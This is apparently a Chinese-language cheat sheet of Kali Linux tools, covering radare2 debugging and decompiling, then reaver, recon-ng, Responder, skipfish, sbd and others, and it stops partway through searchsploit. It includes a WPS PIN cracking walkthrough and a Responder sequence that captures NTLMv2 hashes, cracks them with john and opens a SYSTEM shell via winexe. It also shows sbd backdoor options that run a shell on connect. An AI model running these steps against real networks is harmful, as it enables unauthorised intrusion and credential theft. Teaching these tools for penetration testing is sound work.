当你的代码很复杂,有多个函数被调用时,很容易迷失方向。如果能以图形或可视化的方式查看哪些函数被调用,根据某些条件采取了哪些路径等,会很有帮助。在移动到感兴趣的函数后,可以通过 VV 命令来探索 r2 的可视化模式。例如,对于 adder 函数:

1
2
3
[0x004004b0]> s sym.adder
[0x00400596]>
[0x00400596]> VV

(Gaurav Kamathe, CC BY-SA 4.0)

调试器

到目前为止,你一直在做的是静态分析 —— 你只是在看二进制文件中的东西,而没有运行它,有时你需要执行二进制文件,并在运行时分析内存中的各种信息。r2 的内部调试器允许你运行二进制文件、设置断点、分析变量的值、或者转储寄存器的内容。

-d 标志启动调试器,并在加载二进制时添加 -A 标志进行分析。你可以通过使用 db <function-name> 命令在不同的地方设置断点,比如函数或内存地址。要查看现有的断点,使用 dbi 命令。一旦你放置了断点,使用 dc 命令开始运行二进制文件。你可以使用 dbt 命令查看堆栈,它可以显示函数调用。最后,你可以使用 drr 命令转储寄存器的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ r2 -d -A ./adder
Process with PID 17453 started...
= attach 17453 17453
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
-- git checkout hamster
[0x7f77b0a28030]>
[0x7f77b0a28030]> db main
[0x7f77b0a28030]>
[0x7f77b0a28030]> db sym.adder
[0x7f77b0a28030]>
[0x7f77b0a28030]> dbi
0 0x004005a5 E:1 T:0
1 0x00400596 E:1 T:0
[0x7f77b0a28030]>
[0x7f77b0a28030]> afl | grep main
0x004005a5 1 55 main
[0x7f77b0a28030]>
[0x7f77b0a28030]> afl | grep sym.adder
0x00400596 1 15 sym.adder
[0x7f77b0a28030]>
[0x7f77b0a28030]> dc
hit breakpoint at: 0x4005a5
[0x004005a5]>
[0x004005a5]> dbt
0 0x4005a5 sp: 0x0 0 [main] main sym.adder+15
1 0x7f77b0687873 sp: 0x7ffe35ff6858 0 [??] section..gnu.build.attributes-1345820597
2 0x7f77b0a36e0a sp: 0x7ffe35ff68e8 144 [??] map.usr_lib64_ld_2.28.so.r_x+65034
[0x004005a5]> dc
hit breakpoint at: 0x400596
[0x00400596]> dbt
0 0x400596 sp: 0x0 0 [sym.adder] rip entry.init0+6
1 0x4005be sp: 0x7ffe35ff6838 0 [main] main+25
2 0x7f77b0687873 sp: 0x7ffe35ff6858 32 [??] section..gnu.build.attributes-1345820597
3 0x7f77b0a36e0a sp: 0x7ffe35ff68e8 144 [??] map.usr_lib64_ld_2.28.so.r_x+65034
[0x00400596]>
[0x00400596]>
[0x00400596]> dr
rax = 0x00000064
rbx = 0x00000000
rcx = 0x7f77b0a21738
rdx = 0x7ffe35ff6948
r8 = 0x7f77b0a22da0
r9 = 0x7f77b0a22da0
r10 = 0x0000000f
r11 = 0x00000002
r12 = 0x004004b0
r13 = 0x7ffe35ff6930
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x7ffe35ff6938
rdi = 0x00000064
rsp = 0x7ffe35ff6838
rbp = 0x7ffe35ff6850
rip = 0x00400596
rflags = 0x00000202
orax = 0xffffffffffffffff
[0x00400596]>

反编译器

能够理解汇编是二进制分析的前提。汇编语言总是与二进制建立和预期运行的架构相关。一行源代码和汇编代码之间从来没有 1:1 的映射。通常,一行 C 源代码会产生多行汇编代码。所以,逐行读取汇编代码并不是最佳的选择。

这就是反编译器的作用。它们试图根据汇编指令重建可能的源代码。这与用于创建二进制的源代码绝不完全相同,它是基于汇编的源代码的近似表示。另外,要考虑到编译器进行的优化,它会生成不同的汇编代码以加快速度,减小二进制的大小等,会使反编译器的工作更加困难。另外,恶意软件作者经常故意混淆代码,让恶意软件的分析人员望而却步。

Radare2 通过插件提供反编译器。你可以安装任何 Radare2 支持的反编译器。使用 r2pm -l 命令可以查看当前插件。使用 r2pm install 命令来安装一个示例的反编译器 r2dec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ r2pm  -l
$
$ r2pm install r2dec
Cloning into 'r2dec'...
remote: Enumerating objects: 100, done.
remote: Counting objects: 100% (100/100), done.
remote: Compressing objects: 100% (97/97), done.
remote: Total 100 (delta 18), reused 27 (delta 1), pack-reused 0
Receiving objects: 100% (100/100), 1.01 MiB | 1.31 MiB/s, done.
Resolving deltas: 100% (18/18), done.
Install Done For r2dec
gmake: Entering directory '/root/.local/share/radare2/r2pm/git/r2dec/p'
[CC] duktape/duktape.o
[CC] duktape/duk_console.o
[CC] core_pdd.o
[CC] core_pdd.so
gmake: Leaving directory '/root/.local/share/radare2/r2pm/git/r2dec/p'
$
$ r2pm -l
r2dec
$

反编译器视图

要反编译一个二进制文件,在 r2 中加载二进制文件并自动分析它。在本例中,使用 s sym.adder 命令移动到感兴趣的 adder 函数,然后使用 pdda 命令并排查看汇编和反编译后的源代码。阅读这个反编译后的源代码往往比逐行阅读汇编更容易:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ r2 -A ./adder
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
-- What do you want to debug today?
[0x004004b0]>
[0x004004b0]> s sym.adder
[0x00400596]>
[0x00400596]> s
0x400596
[0x00400596]>
[0x00400596]> pdda
; assembly | /* r2dec pseudo code output */
| /* ./adder @ 0x400596 */
| #include &lt;stdint.h>
|
; (fcn) sym.adder () | int32_t adder (int64_t arg1) {
| int64_t var_4h;
| rdi = arg1;
0x00400596 push rbp |
0x00400597 mov rbp, rsp |
0x0040059a mov dword [rbp - 4], edi | *((rbp - 4)) = edi;
0x0040059d mov eax, dword [rbp - 4] | eax = *((rbp - 4));
0x004005a0 add eax, 1 | eax++;
0x004005a3 pop rbp |
0x004005a4 ret | return eax;
| }
[0x00400596]>

配置设置

随着你对 Radare2 的使用越来越熟悉,你会想改变它的配置,以适应你的工作方式。你可以使用 e 命令查看 r2 的默认配置。要设置一个特定的配置,在 e 命令后面添加 config = value

1
2
3
4
5
6
7
8
9
10
[0x004005a5]> e | wc -l
593
[0x004005a5]> e | grep syntax
asm.syntax = intel
[0x004005a5]>
[0x004005a5]> e asm.syntax = att
[0x004005a5]>
[0x004005a5]> e | grep syntax
asm.syntax = att
[0x004005a5]>

要使配置更改永久化,请将它们放在 r2 启动时读取的名为 .radare2rc 的启动文件中。这个文件通常在你的主目录下,如果没有,你可以创建一个。一些示例配置选项包括:

1
2
3
4
5
6
7
$ cat ~/.radare2rc
e asm.syntax = att
e scr.utf8 = true
eco solarized
e cmd.stack = true
e stack.size = 256
$

探索更多

你已经看到了足够多的 Radare2 功能,对这个工具有了一定的了解。因为 Radare2 遵循 Unix 哲学,即使你可以从它的主控台做各种事情,它也会在下面使用一套独立的二进制来完成它的任务。

探索下面列出的独立二进制文件,看看它们是如何工作的。例如,用 iI 命令在控制台看到的二进制信息也可以用 rabin2 <binary> 命令找到:

1
2
3
4
5
6
$ cd bin/
$
$ ls
prefix r2agent r2pm rabin2 radiff2 ragg2 rarun2 rasm2
r2 r2-indent r2r radare2 rafind2 rahash2 rasign2 rax2
$

evilpan大佬的radare2逆向笔记

https://evilpan.com/2018/02/09/play-with-radare2/#%E7%9F%A5%E8%AF%86%E5%87%86%E5%A4%87

reaver

描述:

 Reaver对WiFi Protected Setup实施了暴力破解攻击,可以在几个小时内破解访问点的WPS引脚,随后恢复WPA / WPA2密码。
  具体来说,Reaver的目标是WPS的注册服务商功能,该缺陷在于,只需花费11,000次尝试就可以猜出正确的WPS引脚,从而成为WPS的注册服务商。 一旦使用接入点注册为注册服务商,该接入点将为您提供WPA密码。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
-m, --mac=<mac>
主机系统的MAC(应自动解决)

-e, --essid=<ssid>
目标AP的ESSID。 除非伪装,否则此问题将自动解决。

-c, --channel=<channel>
设置接口的802.11通道(表示-f)

-o, --out-file=<file>
将输出发送到日志文件[默认:stdout]

-f, --fixed
禁用频道跳变

-5, --5ghz
使用5GHz 802.11通道

-v, --verbose
显示非严重警告(更多信息请使用-vv)

-q,--quiet
仅显示重要消息

-i, --interface=<wlan>
要使用的监视方式接口的名称

-b, --bssid=<mac>
目标AP的BSSID

-p, --pin=<wps pin>
使用指定的WPS引脚

-h, --help
显示帮助信息

示例:

第一步, 把网步模式变成混杂模式:

第二步, 扫描一下附近的WIFI:

用命令:airodump-ng wlan0mon

上图中的MB那一列, 看到有像54e.这种形式的, 就说明可以用reaver破解(ping 码破解, 没有 “ . “号的, 说明没有开启wps)

wps就是下图这个:

这里有ping码, reaver就是用这个来破解的, 确保WIFI路由已开启。当然, 有些防ping的路由, 就算开启了, 不一定能破解, 但就目前, 90%都能破了。

第三步, 上图列出附近的WIFI后, 用reaver命令傻瓜式破解就行。
kali 下 reaver 工具破解wifi
运行后如下所以:
kali 下 reaver 工具破解wifi
当成功后, 如图所示:

这个时候, 把ping码记好, 如果某时候, 对面改了密码, 但没改ping的话,
我们用reaver会一下子得到密码:
reaver -i 网卡 -b WIFIMAC -p ping码 -vv

rebind

描述:

image-20220414215447965

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-i <interface>
指定要绑定的网络接口

-d <fqdn>
指定您的注册域名

-u <user>
指定基本身份验证用户名[admin]

-a <pass>
指定基本认证密码[admin]

-r <path>
指定初始URL请求路径[/]

-t <ip>
指定目标IP地址的逗号分隔列表[客户端IP]

-n <time>
指定回调间隔(以毫秒为单位)[2000]

-p <port>
指定目标端口[80]

-c <port>
指定回调端口[81]

-C <value>
指定要为客户端设置的cookie

-H <file>
指定HTTP头文件供客户端发送到目标

recon-ng

描述:

何为 Recon-NG,主要用来对于目标的信息搜集,可以搜集哪些东西?ip 地址,子域名,子域名 ip,位置,邮件地址,用户,密码等。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[recon-ng][default] > help

Commands (type [help|?] <topic>):
---------------------------------
add 将记录添加到数据库中
back 退出当前回话
delete 从数据库中删除记录
exit 退出框架
help 显示帮助
keys 管理框架API键
load 加载指定模块
pdb 打开 Python 的 Debug 回话
query 查询数据库
record Records commands to a resource file
reload 重新加载所有模块
resource Executes commands from a resource file
search 搜索可用的模块
set 设置模块的选择
shell 执行shell命令
show 显示各种框架项目
snapshots 管理工作区快照
spool Spools output to a file
unset 附件模块选择
use 加载指定的模块
workspaces 管理工作区

命令技巧:workspaces 然后双击tab会显示这个命令下可使用的参数。其他命令也行。

创建工作区

Recon-ng -w 公司名 或者 workspaces add 公司名字

image-20220414215838172

添加keys

有的模块需要使用网站的keys

1
2
3
keys  list    这个命令可以查看需要key的网站

keys add twitter_api keys码

上面添加keys

搜索模块

加入要搜索和bing相关的模块

1
srarch  bing

数据保存

每次run后数据都保存再一个表格中

1
show hosts   可以查看查询结果

set命令可以设置参数

1
set  SORCE query  select from hosts from select where host like ‘%sina.com.cn%’

上面是把模块的SORCE设置为select from hosts from select where host like ‘%sina.com.cn%’

一个完整的流程

1.刚启动时我们会发现命令行前的符号为 default,也就是默认空间的意思,准备一个新的目标时建议新建一个工作空间,命令如下:

1
workspaces add 公司名字

2.可以使用搜索引擎来搜索相关信息,以前搜索引擎有三个,分别是 google、baidu、bing。
baidu 模块下架了,那怎么办,使用 bing 即可,其命令如下:

1
2
3
use recon/domains-hosts/bing_domain_web
set SOURCE XXXX
run

3.搜索后可进行暴力破解子域名,其模块是 recon/domains-hosts/brute_hosts, 其命令如下:

1
2
3
use recon/domains-hosts/brute_hosts
set SOURCE XXXX
run

4.随后可使用 netcraft 查询域名,什么是 netcraft?它用来查询网站信息,例如服务器、web 服务器、机房等。怎么了解它呢,你可以直接访问官网 https://netcraft.com,然后输入域名即可查询。这里的命令如下:

1
2
3
use recon/domains-hosts/netcraft
set SOURCE XXXX
run

5.然后可以将所有的域名解析成 ip 地址,其命令如下:

1
2
3
use recon/hosts-hosts/resolve
set SOURCE XXXX
run

6.接下来可以将所有的域名解析成主机名,其用到的模块是 recon/hosts-hosts/reverse_resolve,命令如下:

1
2
3
use recon/hosts-hosts/reverse_resolve
set SOURCE XXXX
run

7.这时可以去指定的域名中查找一些隐私文件,也就是泄露文件,何为泄露文件,例如 robots 文件、phpinfo 文件、xml 配置文件等等,有很多,具体的文件可以看命令的执行过程,其命令如下:

1
2
3
use discovery/info_disclosure/interesting_files
set SOURCE XXXX
run

8.这时可以探测其 ip 的地址位置,用到的模块是 recon/hosts-hosts/ipinfodb,这里有一个坑需要注意下,你直接用是不行的,因为 ipinfodb 模块要依赖 ipinfodb 的 API 密钥,具体的获取方法和配置方法开头有记录,配置好后,执行以下命令即可:

1
2
3
use recon/hosts-hosts/ipinfodb
set SOURCE XXXX
run

9.查询地址后可以再查询一下 whois 的邮件地址,用到的模块是 recon/domains-contacts/whois_pocs,其命令如下:

1
2
3
use recon/domains-contacts/whois_pocs
set SOURCE XXXX
run

10.最后可以搜集一下公共的 PGP 存储中的邮件地址,什么是 PGP,它用来对邮件进行加密,执行以下命令:

1
2
3
use recon/domains-contacts/pgp_search
set SOURCE XXXX
run

11.然后可以使用 hibp_paste 模块,什么是 hibp_paste,它可以根据你的邮件地址去搜索,看你的邮件密码有没有在某些地方泄露,想了解你可以访问官网:https://haveibeenpwned.com,这个只作为了解,对于国内测试来说,可以不使用这个模块,因为这个是针对国外的,咱们使用可能效果不太理想,可忽略。其命令如下:

1
2
3
use recon/contacts-credentials/hibp_paste
set SOURCE XXXX
run

12.至此,可以用此流程来搜集一个目标网,然后将以上的搜集内容导出报告即可,以 html 格式为例,用到的模块是 reporting/html,其命令如下:

1
use reporting/html

创建报告后设置一下创建者名称,如下命令:

1
set CREATOR xxx

同时,也设置一下客户的名称,如下命令:

1
set CUSTOMER xxx

最后执行 run 命令运行,会输出其报告的 html 文件地址,然后 exit 退出。

总结

Recon-ng有侦查,发现,汇报,和攻击四大块(import没发现有多大的用处,所以暂时为四大块),可用show modules查看有哪些模块。

侦察

Profiler模块: 查询某个用户名在那些网站(知名)有注册。
可用 search profiler 查询在具体路径
使用模块:use recon/profiles-profiles/profiler
查看用法:show option 或者 info info更加详细
根据提示,需要设置SOURCE选项,用命令:set SOURCE cesign
然后运行:run
查看结果(根据提示更新了profiles表,查看表的命令为show 表名) show profiles

发现

Interesting_files模块:查找某网站的敏感文件
命令跟前面一样

1
2
3
Search interesting_files
Use discovery/info_disclosure/interesting_files
Show info #查看用法,可以看到参数比较多,含义我就不解释了

攻击

command_injector模块:命令注入,多用于木马文件

1
2
3
4
Search command_injector
Use path-to/command_injector
Show info #可以看到具体的参数
set base_url http://172.16.227.128/other/a.php

报告

Html模块:把运行的结果生成html文件

在这里插入图片描述

recordmydesktop

描述:

Gnome 前端会在程序运行的时候,在你的面板上添加一个图标,按下图标可以随时开始、结束录制。当开始录制的时候,RecordMyDesktop 会把你桌面上全部录下来(如果只截取一部分,下面说),录完后,可以以 Ogg Theora 格式保存到 /home 目录。当然音频,声音也同样可以加入其中,或者只要按一下选择框就可以禁止。

参数:

1
2
3
4
5
6
7
8
9
10
11
Select Window:可选取录屏界面的大小。
Record:开始录屏。
Advanced:更多高级设置。
Files:设置保存目录以及是否覆盖。
Performance:有录制视频质量的参数:
帧率:越高视频质量越好,但压缩事件更长 。
Encode on the Fly:未知。
零压缩:确保视频帧的质量。
快速亚采样:加快压缩速度,降低视频质量。
完整捕获每帧:确保视频帧的质量。

img

1
2
3
4
Sound:一般默认即可。
Misc:显示设置,注意Follow Mouse选项即可。
Save As:设置视频保存目录及名称。
Quit:直接退出软件。

也在Terminal,直接输入命令运行RecordMyDesktop,但此时设置参数以默认为准,且关闭终端,会默认输出录屏视频于/Home目录下,文件格式为out.ogv

ogv格式的视频,可能不够常见,可以通过FFmpeg对其格式进行转换。

responder

描述:

这是一种不用通过漏洞利用来获取权限的一种方法,使用的是kali的一个工具,叫Responder,主要是通过监听网络,有人如果访问了虚假的共享文件地址,就会获得该系统登录口令的哈希值,然后再通过脚本进行hash爆破就可以获取口令,再通过ipc建立空连接获得系统权限

参数:

首先我们启动一个内网监听(需要先cd到responder文件夹下)

./Responder.py -wf -I eth0

在这里插入图片描述

-wf 应该是设定web代理 -I 指定网卡,这里我指定的是eth0,我们可以通过ifconfig指令查看自己的ip以及网卡信息,具体怎么添加删除一个网卡这里不再赘述,scdn一搜一大堆

如下图,开始监听了。

然后我们在任何windows系统访问一下虚假的共享文件地址,

1
<******>\\NOTAREALHOST\NOTARALSHARE\notarealfile.exe

会出现拒绝访问
然后我们的监听端就会出现一些奇妙的信息。

在这里插入图片描述

没错,我们抓到了我们的登录口令hash
然后我们q退出,运行

1
./DumpHash.py

在这里插入图片描述

会把我们抓到的hash导出成john可以处理的格式

这里我们抓到了两个hash,一个是我本机的登录口令,一个是我的虚拟机windows server 2012R2的登录口令hash
我们的根目录会生成两个txt文件,分别存储的是两个版本的hash,具体是什么版本在我们上一步导出时已经明确指出,如上图:时NTLMV2版本
————————————————

在这里插入图片描述

然后我们用我们的john进行指定版本hash爆破,爆破并不是百分百成功的。

1
john DumpNTLMv2.txt

在这里插入图片描述

现在我们能做的只有等。。。

获取到口令之后我们能干的事情就太多了,看22端口开了嘛,开了直接ssh连接,或者还有更强的,验证目标系统上是否存在ipc共享,如下:

1
smbclient -U [username]%[password] -L [ipaddress]

在这里插入图片描述ok可以清楚的看到它开着,然后我们直接用kali自带工具winexe拿shell

1
winexe -U [username]%[password] --uninstall \\[ipaddress] cmd.exe

或者直接给他提升系统权限

1
2
winexe -U [username]%[password] --uninstall --system \\[ipaddress] cmd.exe

注意一定要带参数–unistall

img

Ristretto 图片查看器

image-20220414223355527

rsmangler

描述:

生成字典

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
--help, -h
显示帮助信息

--file, -f
输入文件,使用-表示STDIN

--output, -o
输出文件,使用-用于STDOUT

--max, -x
最大的字长

--min, -m
最小的字长

--perms, -p
排列所有的单词

--double, -d
每个单词加倍

--reverse, -r
扭转这个词

--leet, -t
l33t说出这个词

--full-leet, -T
所有的可能性

--capital, -c
大写这个词

--upper, -u
大写单词

--lower, -l
小写这个词

--swap, -s
交换单词的大小写

--ed, -e
在单词的末尾加上ed

--ing, -i
在单词末尾添加ing

--punctuation
在单词的末尾添加常见标点符号

--years, -y
将1990年到本年的所有年份相加,以开始和结束

--acronym, -a
根据顺序输入的所有单词创建首字母缩写词并添加到单词列表

--common, -C
添加以下单词以开始和结束:admin,sys,pw,pwd

--pna
在单词的末尾添加01-09

--pnb
在单词开头添加01-09

--na
在单词的末尾添加1-123

--nb
在单词的开头加上1-123

--force
不检查输出大小

--space
在单词之间添加空格

--allow-duplicates
在输出列表中允许重复

示例:

视频参考:

https://www.bilibili.com/video/av415735576/

S

skipfish

描述:

Skipfish是一款主动的Web应用程序安全侦察工具。它通过执行递归爬取和基于字典的探测来为目标站点准备交互式站点地图。最终的地图然后用来自许多活动(但希望是不中断的)安全检查的输出来注释。该工具生成的最终报告旨在作为专业Web应用程序安全评估的基础。

参数:

1
2
3
4
5
6
7
8
#参数-o表示将其扫描结果输出到某个目录内,该目录必须为空目录
#如果目录不存在系统则会创建目录,然后开始扫描
1,root@kali:~# skipfish -o test1 http://192.168.128.129
#在扫描中输入空格可以查看详细信息,再次敲空格则返回扫描状态
#Issues found : 41 info, 1 warn, 12 low, 4 medium, 0 high impact
#在这条提示信息下可以得知该Web服务器的高危漏洞,低微漏洞等个数
#扫描结束后,系统会提示将扫描结果保存在该所指定的目录下的某个文件内
如:[+] Report saved to 'test1/index.html' [0x733a6edf].

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#扫描多个目标,该命令表示扫描url.txt文件中的url,
#并且将扫描结果存放在test3文件内
root@kali:~# skipfish -o test3 @url.txt

#使用skipfish中的字典枚举发现目标服务器隐藏文件
#skipfish的字典默认以wl结尾
root@kali:~# dpkg -L skipfish | grep wl #查找其字典文件
/usr/share/skipfish/dictionaries/medium.wl #中型字典
/usr/share/skipfish/dictionaries/minimal.wl #小型字典
/usr/share/skipfish/dictionaries/extensions-only.wl #扩展字典
/usr/share/skipfish/dictionaries/complete.wl #完整型字典

#参数-o表示将扫描的内容存储到该参数后面的文件内
#参数-I表示匹配URL中某个字符串进行扫描,在本例中即扫描/dvwa目录
#参数-S表示指定文件列表,后面跟字典表示用字典去扫描目标的隐藏文件
root@kali:~# skipfish -o test6 -I /dvwa -S /usr/share/skipfish/dictionaries/minimal.wl http://192.168.128.129/dvwa

#参数-X:表示不检查包含某个字符串的URL
#参数-K:表示不对制定的参数进行Fuzz测试
#参数-D:表示跨站点爬另一个域,
如下面命令表示去扫描192.168.128.129网站的内容,如果有xxx.com这个域的链接,那么也会去扫xxx.com这个域的信息
root@kali:~# skipfish -o test7 -D xxx.com -I /dvwa -S /usr/share/skipfish/dictionaries/minimal.wl http://192.168.128.129/dvwa

参数-l:每秒最大的请求数下面的例子表示每秒最大请求20次,实际上比20次多一些
root@kali:~# skipfish -o test8 -l 20 -S /usr/share/skipfish/dictionaries/minimal.wl http://192.168.128.129/dvwa

参数-m:表示每个ip最大并发连接数
root@kali:~# skipfish -o test9 -m 20 -S /usr/share/skipfish/dictionaries/minimal.wl http://192.168.128.129/dvwa

可以在其配置文件内将需要的参数配置好,然后输命令的时候加上参数--config指定配置文件即可

**Skipfish身份认证**
参数-A 用户名:密码:表示使用特定的http验证
root@kali:~# skipfish -o test11 -I /dvwa -A admin:password http://192.168.128.129/dvwa

#参数-C后面接cookie
#参数-X表示不扫描制定的字符串的内容,此例表示不扫描logout.php页面(一旦扫描logout.php便会退出,故不扫描)
root@kali:~# skipfish -o test10 -I /dvwa -X logout.php -C "PHPSESSID=6f155b6b28fa5b88721ad9e5cbd3f08" -C "security=low" http://192.168.128.129/dvwa

#通过表单提交用户名密码
#参数--auth-form表示登陆账户名密码的界面
#参数--auth-user 后面指定用户名
#参数--auth-pass 后面指定密码
#参数--auth-verify-url 后面指定登陆成功后的界面(即判断是否登陆成功)
root@kali:~# skipfish -o test12 --auth-form http://192.168.128.129/dvwa/login.php --auth-user admin --auth-pass password --auth-verify-url http://192.168.128.129/dvwa/index.php -I /dvwa http://192.168.128.129/dvwa

-I 只检查包含′string′的 URL

skipfish -o test -I /aiyou/ http://192.168.1.104

-X 不检查包含′string′的URL #例如:aiyou

skipfish -o test -X /aiyou/ http://192.168.1.104

-S 用字典去爬网站

skipfish -o test -S complet.wl http://192.168.1.104

img

-W 将目标网站特有的特征漏洞代码存到文件

1、扫描整个站点,将结果保存在test文件夹中

skipfish -o test -S somplet.wl -W abc.wl http://192.168.1.104

img

img

2、基于http身份认证

skipfish -A admin:password -o test http://192.168.1.104/dvwa/

3、基于Cookies身份认证

skipfish -C “name=val” -o test http://192.168.1.104/dvwa/

如果有多个cookies值,多一个cookies就多一个 -C “name=val”

sslh

描述:

sslh是一个ssl/ssh多路复用软件。

参数:

sslh-fork.servicesslh-select.service设置为开机自启动

sslh-fork为每一个新连接创建一个新的进程。sslh-fork经过广泛测试,具有良好的可靠性,但会榨干许多处理器的性能。 如果在一个“小环境”下使用sslh(只有几个ssh连接的低流量https服务器),使用sslh-fork非常合适。

sslh-select只使用一个线程,在同一时间监听所有连接。sslh-select功能较新且测试不足,但每个连接最多只使用16字节。当然,如果sslh-select停止工作,所有连接都会中止,因此你不能对其远程升级。 如果在一个“中型环境”下使用sslh(上千个ssh连接和上千个ssl连接),sslh-select更合适。

如果要在非常大的环境下使用sslh(上万个连接),可能需要某些应用了libevent或类似技术的“概念版”软件(译者注:vapourware,又称“雾件”,指发布后从未真正发行的软件,类似于“概念车”)。

samdump2

描述:

image-20220414224442591

参数:

1
2
3
4
5
6
7
8
9
-d
启用调试

-h
显示这个帮助

-o file
将输出写入文件

sbd

描述:

sbd 它是Linux和Windows系统的安全后门

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
-l
监听传入的连接

-p n
选择要侦听的端口,或选择要从其连接的源端口

-a address
选择一个地址以收听或连接

-e prog
连接后要执行的程序(例如-e cmd.exe或-e bash)

-r n
无限重生/重新连接,在两次连接尝试之间暂停n秒。 -r0可用于在断开连接后重新监听(就像常规守护程序一样)

-c on|off
开/关加密。 指定是否要使用内置的AES-CBC-128 + HMAC-SHA1加密实现(由Christophe Devine-http://www.cr0.net:8040/)或默认为:-c on

-k secret
覆盖用于加密的默认短语(秘密必须在客户端和服务器之间共享)

-q
安静,安静,不打印任何内容(覆盖-v)

-v
是详细的

-n
切换仅数字的IP地址(不进行DNS解析)。 如果您两次指定-n,则原始状态将处于活动状态(即-n就像打开/关闭开关一样)

-m
打开/关闭监视(监听)(仅与-e选项一起使用)。 还可以通过指定-vv(两次-v)来打开监听

-P prefix
在所有出站数据中添加前缀(+硬编码分隔符)。此选项仅对“聊天模式”中的sbd有用(以昵称发送的前缀行)

-H on|off
用硬编码(彩色)转义序列突出显示传入的数据(例如,聊天)。 默认为:-H关闭

-V
打印版本标语并退出(在错误报告中包括该输出,并将错误报告发送至michel.blomgren@tigerteam.se)类似于Unix的OS特

scalpel

描述:

image-20220414225054187

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
-b
即使在文件类型的最大刻录尺寸内未找到定义的页脚,也可以刻录文件[最旧的0.69兼容模式]

-c file
选择要使用的配置文件。 如果省略此选项,则使用当前目录中的“ scalpel.conf”。 默认配置文件“ scalpel.conf”中描述了配置文件的格式。 有关更多信息,请参见下面的“配置文件”部分。

-d
生成页眉/页脚数据库; 将绕过某些优化并发现所有页脚,因此会降低性能。 不会影响刻录的文件集。 **实验**

-m
生成/更新刻录覆盖度框图文件。 文件中的第一个32位unsigned int标识块大小。 此后,块图文件中的每个32位无符号int条目对应于映像文件中的一个块。 每个条目计算包含此块的刻录文件数量。 需要更多的内存和磁盘。** EXPERIMENTAL **

-h
显示帮助屏幕并退出。

-i file
文件用作要检查的输入文件的列表。 指定文件中的每一行都应包含一个文件名。

-o directory
恢复的文件将写入目录目录。Scalpel要求此目录为空或不存在。 如有必要,将创建目录。

-O
不要按类型组织刻录文件。 默认设置是将刻录文件组织到子目录中,以简化预览大量刻录文件的过程。

-p
执行图像文件预览; 审核日志指示哪些文件将被刻录,但实际上没有文件被刻录。

-q clustersize
仅在标头与簇对齐时才刻录。

-r
仅查找重叠的页眉/页脚中的第一个[最旧的0.69兼容模式]

-s number
开始搜索文件标题和页脚之前,请跳过每个输入文件中的数字字节。

-t
设置覆盖框图的目录。 **实验**

-u
刻录时使用刻录覆盖图。 仅刻录在块图中的条目为0的图像部分。这些区域被视为连续区域。 **实验**

-V
显示版权信息并退出

scouge-ntfs

描述:

image-20220414225722402

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
选项如下:
-c
群集大小(以扇区为单位)。 如果未指定,则使用默认值8。

-l
列出驱动器的分区信息。 仅当给定驱动器的分区表完好无损时,这才起作用。

-m
恢复数据时,这指定了MFT从分区开始的位置(以扇区为单位)。 如果未指定,则无法使用任何目录信息,也就是说,所有获救的文件都将写入同一目录

-o
放置已救援文件的目录。如果未指定,则文件将放置在当前目录中。

-s
在磁盘上搜索分区信息。 (尚未实现)。

disk
用于访问包含要从中抢救文件的NTFS分区的磁盘的原始设备。 例如:'/ dev / hdc'

start
NTFS分区的开始(以扇区为单位)。

end
NTFS分区的末尾(以扇区为单位)

searchsploit

描述:

Exploit-db是Kali linux 官方团队维护的一个安全项目,存储了大量的漏洞利用程序,是公认的世界上最大的搜集漏洞的数据库。它的在线版本是https://www.exploit-db.com/ ,离线版本是: https://github.com/offensive-security/exploit-database 。而searchsploit可以利用exploit-db提供的数据库进行离线搜索,加上参数又可以到exploit-db.com上进行在线搜索。可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。Kali Linux或者其他的渗透测试系统默认安装了searchsploit,因此本文不再讲其安装过程。使用方法是使用终端,键入其语法。

参数:

searchsploit [options] term1 [term2] … [termN]

searchsploit [选项] 关键字1 [关键字2] … [关键字N]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-c, --case[Term]执行区分大小写的搜索,缺省是对大小写不敏感。

-e, --exact [Term]对exploit标题执行EXACT匹配(默认为AND)

-h, --help在屏幕上显示帮助

-j, --json[Term]以JSON格式显示结果

